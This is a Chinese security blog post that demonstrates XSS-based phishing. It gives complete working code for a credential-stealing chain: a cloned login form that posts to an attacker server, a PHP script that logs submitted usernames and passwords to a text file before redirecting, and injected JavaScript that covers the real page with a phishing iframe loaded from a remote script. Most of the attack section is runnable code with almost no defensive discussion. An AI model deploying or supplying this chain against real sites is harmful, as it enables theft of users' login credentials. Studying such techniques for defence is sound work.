技术笔记

XSS Phishing (XSS钓鱼)

字号+ 作者:sn0w 来源:转载 2016-11-27 16:24 我要评论( )

通过JavaScript动态调整页面内容,实现钓鱼。 首先我们准备一个模拟登录环境: !DOCTYPE html html head meta charset = utf-8 title/title /head body 正常登录界......

  通过JavaScript动态调整页面内容,实现钓鱼。
 
首先我们准备一个模拟登录环境:
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title></title>
  </head>
  <body>
    正常登录界面</br>
    <form action="127.0.0.1/login.php" method="post">
      <input type="text" name="user" value="UserName">
      <input type="text" name="pass" value="PassWord">
      <input type="submit" name="name" value="login">
    </form>
  </body>
</html>

 

效果图:为了与钓鱼页面区分开,我们加上一行文字 “正常登录页面”
XSS Phishing (XSS钓鱼) - sn0w - 雪花 - sn0w
 
 
 下面是我们的钓鱼页面:
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title></title>
  </head>
  <body>
    非正常登录界面</br>
    <form action="http://127.0.0.1/post.php" method="post">
      <input type="text" name="user" value="UserName">
      <input type="text" name="pass" value="PassWord">
      <input type="submit" name="name" value="login">
    </form>
  </body>
</html>

 

我们通过代码可以看出,正常的登录页面与非正常登录页面直接只有表单提交的地址不同,其他完全相同。
钓鱼页面效果图:
XSS Phishing (XSS钓鱼) - sn0w - 雪花 - sn0w
 
 
 
远程服务器接收post提交的数据并保存
<?php
    $user=$_POST['user'];   //获取post包中的用户名
    $pass=$_POST['pass'];   //获取post包中的密码
    $passtxt=fopen("passtxt.txt","a"); //打开文件
    fwrite($passtxt,"User:".$user."Pass:".$pass."\n");  //将获取的值写入文件
    fclose($passtxt);
    header("location:http://www.xxxxx.com"); //转跳页面
 ?>

 

获取POST中的相关值并保存在passtxt.txt文件内,并跳转到登录后的页面。
 
 
我们需要通过JavaScript来实现覆盖正常登录页面
document.body.innerHTML='<div style="position:absolute;top:0px;left:0px;width:100%;height:100%">'+
'<iframe src=http://127.0.0.1/phishing.html width=100% height=100%>' +
'</iframe></div>';

 

通过innerHTML方法插入iframe框架覆盖掉原来正常的登录页面
 
然后我们可以利用页面的XSS将利用代码插入到正常页面,通过利用代码远程调用我们的javascript文件,覆盖正常登录页面,这里只是演示,我们直接将利用代码加入到正常登陆页面内

 

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title></title>
  </head>
  <body>
    正常登录界面</br>
    <form action="127.0.0.1/xxx.php" method="post">
      <input type="text" name="user" value="UserName">
      <input type="text" name="pass" value="PassWord">
      <input type="submit" name="name" value="login">
    </form>
     <script src="http://127.0.0.1/iframe.js"></script>   <!--利用代码-->
  </body>
</html>

 

 
此时当我们访问登录页面时,会发现正常页面一闪而过,然后跳到我们的钓鱼页面。
XSS Phishing (XSS钓鱼) - sn0w - 雪花 - sn0w
通过源代码可以不难看出,整个页面已经被一个iframe框架覆盖,并且数据提交地址已经改变
现在我们在输入账号密码登录时数据已经提交到我们的服务器并进行了保存,然后URL跳到了我们指定的地址。
XSS Phishing (XSS钓鱼) - sn0w - 雪花 - sn0w

本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Note/350.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • xss字符过大多waf思路

    xss字符过大多waf思路

    2017-04-18 08:42

  • XSS构造剖析

    XSS构造剖析

    2016-12-19 14:31

  • XSS后门的使用及隐藏

    XSS后门的使用及隐藏

    2016-12-18 14:38

  • XSS常见的钓鱼方式

    XSS常见的钓鱼方式

    2016-11-27 16:18

网友点评
暂时未开启评论功能~